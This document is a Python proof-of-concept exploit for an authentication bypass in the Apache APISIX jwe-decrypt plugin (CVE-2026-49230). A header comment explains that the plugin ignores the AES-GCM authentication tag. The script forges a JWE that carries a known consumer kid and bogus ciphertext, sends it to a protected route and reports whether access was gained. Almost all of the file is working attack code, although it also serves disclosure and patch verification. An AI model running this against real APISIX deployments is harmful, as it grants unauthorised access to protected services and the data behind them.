#!/usr/bin/env python3
# CVE-2026-49230 - Apache APISIX jwe-decrypt authentication bypass (CWE-354)
#
# The jwe-decrypt plugin (<= 3.16.0) never validates the AES-GCM authentication
# tag: jwe_decrypt_with_obj() returns a single value, so the caller's
# `local plaintext, err = jwe_decrypt_with_obj(...)` always sees err == nil and
# the `if err ~= nil then return 400` guard is dead code. A JWE whose header
# carries a valid consumer `kid` is accepted regardless of its ciphertext/tag,
# so an attacker who knows any consumer key (public: it travels in cleartext in
# every legitimate token's header) bypasses the auth gate WITHOUT the AES secret.
#
# Fixed in 3.17.0: jwe_decrypt_with_obj() returns (decrypted, err) and the
# guard becomes `if not plaintext then return 400`.
#
# Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
# License: MIT

import argparse
import base64
import json
import sys
import urllib.error
import urllib.request


def b64u(raw: bytes) -> str:
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()


def forge_token(kid: str) -> str:
    """Build a JWE that has a valid consumer kid but bogus, unauthenticated
    ciphertext/tag. No knowledge of the AES secret is required."""
    header = b64u(json.dumps({"alg": "dir", "enc": "A256GCM", "kid": kid}).encode())
    enckey = ""                       # 'dir' key management -> empty
    iv = b64u(b"123456789012")        # any 12-byte GCM nonce
    ciphertext = b64u(b"FORGED-BY-CVE-2026-49230")
    tag = b64u(b"0000000000000000")   # invalid 16-byte GCM tag
    return f"{header}.{enckey}.{iv}.{ciphertext}.{tag}"


def send(url: str, token: str, header_name: str, timeout: float):
    req = urllib.request.Request(url)
    if token is not None:
        req.add_header(header_name, "Bearer " + token)
    try:
        resp = urllib.request.urlopen(req, timeout=timeout)
        return resp.status, resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace")


def main():
    p = argparse.ArgumentParser(
        description="CVE-2026-49230 - Apache APISIX jwe-decrypt auth bypass PoC")
    p.add_argument("url",
                   help="full URL of a route protected by jwe-decrypt, "
                        "e.g. http://127.0.0.1:9080/protected/x")
    p.add_argument("-k", "--kid", default="alice-key",
                   help="a valid consumer key/kid (default: alice-key)")
    p.add_argument("-H", "--header", default="Authorization",
                   help="request header the plugin reads (default: Authorization)")
    p.add_argument("--timeout", type=float, default=8.0)
    args = p.parse_args()

    token = forge_token(args.kid)
    print(f"[*] target        : {args.url}")
    print(f"[*] consumer kid  : {args.kid}  (NO AES secret used)")
    print(f"[*] forged JWE    : {token}")

    # 1. baseline: prove the route is actually gated
    base_code, base_body = send(args.url, None, args.header, args.timeout)
    print(f"\n[1] no token           -> HTTP {base_code}  {base_body.strip()[:60]}")

    # 2. the bypass: forged token with valid kid, invalid crypto
    code, body = send(args.url, token, args.header, args.timeout)
    print(f"[2] forged JWE token   -> HTTP {code}  {body.strip()[:60]}")

    gated = base_code in (401, 403)
    bypassed = code == 200
    print()
    if gated and bypassed:
        print("[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.")
        sys.exit(0)
    if not gated:
        print("[-] Baseline was not gated (expected 401/403). Is jwe-decrypt on this route?")
    else:
        print(f"[-] Not vulnerable: forged token rejected (HTTP {code}). Likely patched (>= 3.17.0).")
    sys.exit(1)


if __name__ == "__main__":
    main()